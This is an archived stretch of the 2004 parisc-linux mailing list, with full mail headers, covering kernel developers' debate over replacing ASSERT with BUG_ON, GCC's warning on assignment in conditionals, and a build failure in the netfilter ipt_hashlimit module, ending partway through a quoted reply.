Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 71E36494221
	for <parisc-linux@parisc-linux.org>;
	Sun,  7 Nov 2004 14:48:49 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8CF17298137; Sun,  7 Nov 2004 14:48:48 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20024-08; Sun, 7 Nov 2004 14:48:47 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B7C9029812F; Sun,  7 Nov 2004 14:48:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418E1BD1.7010108@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25008

On Sun, Nov 07, 2004 at 12:57:53PM +0000, Joel Soete wrote:
> This is a very first proposal because:
> 	a) BUG_ON() is not anymore conditional

Exactly, this is exactly why I'm not enthusiastic about replacing
ASSERT with BUG_ON. ASSERT is intended to catch developement bugs
that I know will not occur in production. Having the BUG_ON will
only slow down the production kernel in those cases.

So some BUG_ON are ok, but not a wholesale replacement of ASSERTs.
I'll apply the patch and then delete BUG_ON that I don't think
we need.

> 	b) I would like to change a bit such:
> [...]
> 	BUG_ON(pages_mapped == 0);
> 	BUG_ON((pages_mapped * PAGE_SIZE) >= DMA_CHUNK_SIZE);
> 	BUG_ON(pages_mapped >= (BITS_PER_LONG - PAGE_SHIFT));
> [...]
> into
> 	BUG_ON((pages_mapped == 0) || \
> 		((pages_mapped * PAGE_SIZE) >= DMA_CHUNK_SIZE) || \
> 		(pages_mapped >= (BITS_PER_LONG - PAGE_SHIFT));
> [...]

Please don't do this.
Then we won't know which part of the condition failed.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASSERT() -> BUG_ON() (2/4):
	drivers/parisc/sba_iommu.c
Date: Sun, 7 Nov 2004 19:04:33 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20041108020433.GC16345@colo.lackof.org>
References: <418E1ED4.8070104@tiscali.be>
	<20041107213942.GA16345@colo.lackof.org>
	<20041108000502.GN24690@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624505 26445 80.91.229.3 (22 Nov 2014 02:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30981 invoked by uid 65534); 8 Nov 2004 02:05:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 08 Nov 2004 03:05:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B503B3BE4A; Sun,  7 Nov 2004 19:05:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29495-06; Sun, 7 Nov 2004 19:05:02 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D87F3BE50; Sun,  7 Nov 2004 19:04:44 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13FD13BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 19:04:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29421-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Nov 2004 19:04:39 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A67693BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 19:04:38 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 63987494544; Sun,  7 Nov 2004 19:04:38 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 2E20E494221
	for <parisc-linux@parisc-linux.org>;
	Sun,  7 Nov 2004 19:04:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8183E298058; Sun,  7 Nov 2004 19:04:34 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24137-05; Sun, 7 Nov 2004 19:04:33 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 83D0D298028; Sun,  7 Nov 2004 19:04:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041108000502.GN24690@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25009

On Mon, Nov 08, 2004 at 12:05:02AM +0000, Matthew Wilcox wrote:
> GCC warns about this.

Ok - I didn't know that. 
Thanks for pointing this out.

I expect it wouldn't generate warnings in this case because arguments
to macros typically have extra parens around them. But in general,
I can stop doing this for kernel code since -Wall is on.

> So I think this is an invalid objection.

Agreed. I'll change the offending code.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASSERT() -> BUG_ON() (2/4):
	drivers/parisc/sba_iommu.c
Date: Mon, 8 Nov 2004 00:05:02 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20041108000502.GN24690@parcelfarce.linux.theplanet.co.uk>
References: <418E1ED4.8070104@tiscali.be>
	<20041107213942.GA16345@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624505 26450 80.91.229.3 (22 Nov 2014 02:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16139 invoked by uid 65534); 8 Nov 2004 00:05:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 08 Nov 2004 01:05:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3CEA73BE3E; Sun,  7 Nov 2004 17:05:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28503-08; Sun, 7 Nov 2004 17:05:34 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ED09B3BE4A; Sun,  7 Nov 2004 17:05:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ADAD3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 17:05:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28503-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Nov 2004 17:05:08 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E6C073BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Nov 2004 17:05:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8A2A94946C7; Sun,  7 Nov 2004 17:05:07 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 19DC7494221;
	Sun,  7 Nov 2004 17:05:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CQx1q-0000va-Q2; Mon, 08 Nov 2004 00:05:02 +0000
Content-Disposition: inline
In-Reply-To: <20041107213942.GA16345@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25010

On Sun, Nov 07, 2004 at 02:39:42PM -0700, Grant Grundler wrote:
> I'm rejecting this patch because of this.
> I write (0 == foo) to avoid "foo = 0" mistakes.

GCC warns about this.

$ gcc -Wall test.c
test.c: In function `main':
test.c:3: warning: suggest parentheses around assignment used as truth value
$ cat test.c
int main(int argc, char **argv)
{
        if (argc = 1)
                return 1;
        return 0;
}

So I think this is an invalid objection.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pb to build modules on b2k for k-2.6.10-rc1-pa10
Date: Mon, 8 Nov 2004 18:00:50 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <418A80F70000132E@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624505 26452 80.91.229.3 (22 Nov 2014 02:48:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14411 invoked by uid 65534); 8 Nov 2004 17:01:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 08 Nov 2004 18:01:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8B1E83BE5B; Mon,  8 Nov 2004 10:00:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05664-06; Mon, 8 Nov 2004 10:00:49 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7AC423BE51; Mon,  8 Nov 2004 10:00:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E73993BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Nov 2004 10:00:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05079-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Nov 2004 10:00:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D20133BE30
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Nov 2004 10:00:18 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A8FBF494738; Mon,  8 Nov 2004 10:00:17 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [212.123.84.71])
	by palinux.hppa (Postfix) with ESMTP id D37654946C7
	for <parisc-linux@parisc-linux.org>;
	Mon,  8 Nov 2004 10:00:15 -0700 (MST)
Original-Received: from mail-5-bnl.tiscali.it (10.39.115.135) by mrq-1.tiscalinet.it
	(7.0.028) id 418BBE3F00038F27 for parisc-linux@parisc-linux.org;
	Mon, 8 Nov 2004 17:59:02 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 8 Nov 2004 18:00:50 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25011

Hello all,

This smp kernel 64bits boot fine on my n4k :) (Thanks Matthew)
and also as up 64bits on my b2k but when I try to build modules I encount=
er
the following pb:
 hppa64-linux-gcc -Wp,-MD,net/ipv4/netfilter/.ipt_hashlimit.o.d -nostdinc=

-iwithprefix include -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -W=
no-trigraphs
-fno-strict-aliasing -fno-common -O2 -fomit-frame-pointer -pipe -mno-spac=
e-regs
-mfast-indirect-calls -ffunction-sections -march=3D2.0 -mschedule=3D8000 =
-Wdeclaration-after-statement
  -DMODULE -DKBUILD_BASENAME=3Dipt_hashlimit -DKBUILD_MODNAME=3Dipt_hashl=
imit
-c -o net/ipv4/netfilter/ipt_hashlimit.o net/ipv4/netfilter/ipt_hashlimit=
.c
net/ipv4/netfilter/ipt_hashlimit.c: In function `__dsthash_find':
net/ipv4/netfilter/ipt_hashlimit.c:124: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c: In function `__dsthash_free':
net/ipv4/netfilter/ipt_hashlimit.c:173: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c: In function `htable_selective_cleanup=
':
net/ipv4/netfilter/ipt_hashlimit.c:261: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:261: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:261: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:269: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:269: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:269: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c: In function `hashlimit_match':
net/ipv4/netfilter/ipt_hashlimit.c:460: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:460: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:460: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:469: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:469: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:469: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:482: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:482: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:482: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:493: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:493: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:493: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:497: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:497: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:497: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c: In function `dl_seq_start':
net/ipv4/netfilter/ipt_hashlimit.c:572: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:572: structure has no member named `l'=

net/ipv4/netfilter/ipt_hashlimit.c:572: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c: In function `dl_seq_stop':
net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named `lo=
cked_by'
net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named `l'=

make[3]: *** [net/ipv4/netfilter/ipt_hashlimit.o] Error 1
make[2]: *** [net/ipv4/netfilter] Error 2
make[1]: *** [net/ipv4] Error 2
make: *** [net] Error 2

I know you shoulld be busy to fix cvs pb so I would just like to know if
fixed in a  bk (and I will wait for) or if not I will have to check.

Thanks in advance for advise,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] pb to build modules on b2k for k-2.6.10-rc1-pa10
Date: Tue, 9 Nov 2004 12:33:50 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <418A8117000016A6@mail-8-bnl.mail.tiscali.sys>
References: <418A80F70000132E@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624506 26457 80.91.229.3 (22 Nov 2014 02:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18438 invoked by uid 65534); 9 Nov 2004 11:34:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 09 Nov 2004 12:34:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 515AE3BE2E; Tue,  9 Nov 2004 04:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16461-01; Tue, 9 Nov 2004 04:34:50 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1E8B13BE30; Tue,  9 Nov 2004 04:34:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 577853BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Nov 2004 04:34:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16301-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Nov 2004 04:33:59 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E4F763BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Nov 2004 04:33:58 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8F1A549483D; Tue,  9 Nov 2004 04:33:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [212.123.84.72])
	by palinux.hppa (Postfix) with ESMTP id EF0CA494777
	for <parisc-linux@parisc-linux.org>;
	Tue,  9 Nov 2004 04:33:57 -0700 (MST)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-2.tiscalinet.it
	(7.0.028) id 4137280B002C08E1 for parisc-linux@parisc-linux.org;
	Tue, 9 Nov 2004 12:39:09 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Tue, 9 Nov 2004 12:33:50 +0100
In-Reply-To: <418A80F70000132E@mail-5-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25012


> -- Original Message --
> Date: Mon, 8 Nov 2004 18:00:50 +0100
> From: "Joel Soete" <soete.joel@tiscali.be>
> To: parisc-linux@parisc-linux.org
> Cc: 
> Subject: [parisc-linux] pb to build modules on b2k for k-2.6.10-rc1-pa1=
0
> 
> 
> Hello all,
> 
> This smp kernel 64bits boot fine on my n4k :) (Thanks Matthew)
> and also as up 64bits on my b2k but when I try to build modules I encou=
nter
> the following pb:
>  hppa64-linux-gcc -Wp,-MD,net/ipv4/netfilter/.ipt_hashlimit.o.d -nostdi=
nc
> -iwithprefix include -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
-Wno-trigraphs
> -fno-strict-aliasing -fno-common -O2 -fomit-frame-pointer -pipe -mno-sp=
ace-regs
